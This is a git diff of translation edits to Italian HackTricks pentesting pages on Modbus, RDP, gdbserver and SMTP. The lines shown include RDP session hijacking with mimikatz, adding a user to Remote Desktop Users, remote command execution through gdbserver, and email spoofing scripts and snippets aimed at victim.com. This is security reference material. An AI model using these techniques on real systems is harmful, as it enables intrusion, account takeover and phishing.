|
||||
Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, fungendo da struttura di messaggistica. Il suo utilizzo principale consiste nel facilitare la comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo gioca un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente.
|
||||
Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, fungendo da struttura di messaggistica. Il suo utilizzo principale coinvolge la facilitazione della comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo gioca un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente.
|
||||
|
||||
**Porta predefinita:** 502
|
||||
```
|
||||
|
@ -45,9 +45,9 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -100,7 +100,7 @@ Potresti ottenere le password dal processo estraendole, ma questo metodo è molt
|
|||
|
||||
#### **Mimikatz**
|
||||
|
||||
Puoi anche usare mimikatz per fare questo:
|
||||
Puoi anche utilizzare mimikatz per fare questo:
|
||||
```bash
|
||||
ts::sessions #Get sessions
|
||||
ts::remote /id:2 #Connect to the session
|
||||
|
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino di controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
||||
**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
|
||||
|
@ -157,15 +157,15 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -58,7 +58,7 @@ run
|
|||
```
|
||||
### Eseguire comandi arbitrari
|
||||
|
||||
C'è un altro modo per **far eseguire al debugger comandi arbitrari tramite un** [**script personalizzato python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
C'è un altro modo per **far eseguire al debugger comandi arbitrari tramite un** [**script personalizzato in python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -200,9 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -36,13 +36,13 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### EMAIL Headers
|
||||
|
||||
Se hai l'opportunità di **far inviare alla vittima un'email** (ad esempio tramite il modulo di contatto della pagina web), fallo perché **potresti apprendere la topologia interna** della vittima esaminando le intestazioni dell'email.
|
||||
Se hai l'opportunità di **far inviare alla vittima un'email** (ad esempio tramite il modulo di contatto della pagina web), fallo perché **potresti apprendere la topologia interna** della vittima osservando le intestazioni dell'email.
|
||||
|
||||
Puoi anche ottenere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (perché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN.
|
||||
|
||||
Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\
|
||||
Dovresti inviare il file di test EICAR.\
|
||||
Rilevare il **AV** potrebbe consentirti di sfruttare **vulnerabilità note.**
|
||||
Rilevare il **AV** potrebbe permetterti di sfruttare **vulnerabilità note.**
|
||||
|
||||
## Basic actions
|
||||
|
||||
|
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Rapporti DSN
|
||||
|
||||
**Rapporti di Notifica dello Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione notificherà che l'indirizzo era invalido inviando una **mail di ritorno a te**. **Le intestazioni** dell'email restituita **conterranno** possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus).
|
||||
**Rapporti di Notifica di Stato di Consegna**: Se invii un **email** a un'organizzazione a un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando un **messaggio di posta di ritorno**. Le **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sul software antivirus).
|
||||
|
||||
## [Comandi](smtp-commands.md)
|
||||
|
||||
|
@ -286,15 +286,15 @@ Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
|||
| REDIRECT | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel meccanismo di reindirizzamento sarà utilizzata.</p> |
|
||||
|
||||
È anche possibile identificare **Qualificatori** che indicano **cosa dovrebbe essere fatto se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un meccanismo corrisponde, significa che è consentito).\
|
||||
Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non affidabile (\~) o rifiutare (-) l'email.**
|
||||
Di solito noterai **alla fine di ogni politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
|
||||
|
||||
#### Qualificatori
|
||||
|
||||
Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto:
|
||||
|
||||
* **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`.
|
||||
* **`?`**: Rappresenta un risultato NEUTRO, trattato in modo simile a NONE (nessuna politica specifica).
|
||||
* **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza.
|
||||
* **`?`**: Rappresenta un risultato NEUTRALE, trattato in modo simile a NONE (nessuna politica specifica).
|
||||
* **`~`**: Denota SOFTFAIL, fungendo da punto intermedio tra NEUTRAL e FAIL. Le email che soddisfano questo risultato sono tipicamente accettate ma contrassegnate di conseguenza.
|
||||
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata.
|
||||
|
||||
Nell'esempio seguente, viene illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF di diversi domini all'interno della prima politica SPF:
|
||||
|
@ -316,13 +316,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** è probabile che venga **rifiutata/marcata come non affidabile automaticamente**.
|
||||
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. **Oggigiorno**, se **l'email** proviene da un **dominio senza un record SPF valido** verrà probabilmente **rifiutata/marcata come non affidabile automaticamente**.
|
||||
|
||||
Per controllare lo SPF di un dominio puoi utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio.
|
||||
DKIM è utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio dal DNS. Questa chiave pubblica si trova nel record TXT di un dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome del dominio.
|
||||
|
||||
Ad esempio, per richiedere la chiave, il nome del dominio e il selettore sono essenziali. Questi possono essere trovati nell'intestazione della mail `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`.
|
||||
|
||||
|
@ -334,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC migliora la sicurezza delle email basandosi sui protocolli SPF e DKIM. Definisce politiche che guidano i server di posta nella gestione delle email da un dominio specifico, inclusi come gestire i fallimenti di autenticazione e dove inviare i rapporti sulle azioni di elaborazione delle email.
|
||||
DMARC migliora la sicurezza delle email costruendo sui protocolli SPF e DKIM. Definisce politiche che guidano i server di posta nella gestione delle email da un dominio specifico, inclusi come gestire i fallimenti di autenticazione e dove inviare rapporti sulle azioni di elaborazione delle email.
|
||||
|
||||
**Per ottenere il record DMARC, è necessario interrogare il sottodominio \_dmarc**
|
||||
```bash
|
||||
|
@ -381,19 +381,19 @@ Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica d
|
|||
|
||||
### **Open Relay**
|
||||
|
||||
Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.
|
||||
Quando vengono inviate email, è cruciale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di fiducia per il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza.
|
||||
|
||||
Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Questo viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi fonte esterna), lo strumento `nmap` è comunemente usato. Include uno script specifico progettato per testare questo. Il comando per eseguire una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è:
|
||||
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi fonte esterna), lo strumento `nmap` è comunemente utilizzato. Include uno script specifico progettato per testare questo. Il comando per eseguire una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **Strumenti**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le misconfigurazioni di SPF e DMARC**
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Controlla le configurazioni errate di SPF e DMARC**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Ottieni automaticamente le configurazioni di SPF e DMARC**
|
||||
|
||||
### Invia Email Spoof
|
||||
|
@ -412,7 +412,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Se ricevi un **errore utilizzando la libreria python dkim** durante l'analisi della chiave, sentiti libero di utilizzare la seguente.\
|
||||
Se ricevi un **errore utilizzando la libreria python dkim** durante l'analisi della chiave, sentiti libero di utilizzare questa seguente.\
|
||||
**NOTA**: Questa è solo una soluzione temporanea per effettuare controlli rapidi nei casi in cui, per qualche motivo, la chiave privata openssl **non possa essere analizzata da dkim**.
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
|
@ -438,7 +438,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Questo invierà un messaggio non firmato
|
||||
</strong><strong>mail("your_email@gmail.com", "Oggetto di Test!", "hey! Questo è un test", "From: administrator@victim.com");
|
||||
</strong><strong>mail("your_email@gmail.com", "Oggetto di Test!", "hey! Questo è un test", "Da: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -589,15 +589,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SMTP - Comandi
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,9 +17,9 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ Si chiede al server di verificare se un particolare indirizzo email o nome utent
|
|||
Questo comando viene utilizzato per invertire i ruoli tra il client e il server, senza la necessità di eseguire una nuova connessione.
|
||||
|
||||
**AUTH**\
|
||||
Con il comando AUTH, il client si autentica al server, fornendo il proprio nome utente e password. È un ulteriore livello di sicurezza per garantire una trasmissione corretta.
|
||||
Con il comando AUTH, il client si autentica presso il server, fornendo il proprio nome utente e password. È un ulteriore livello di sicurezza per garantire una trasmissione corretta.
|
||||
|
||||
**RSET**\
|
||||
Comunica al server che la trasmissione dell'email in corso sta per essere terminata, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT).
|
||||
|
@ -66,15 +66,15 @@ Termina la conversazione SMTP.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
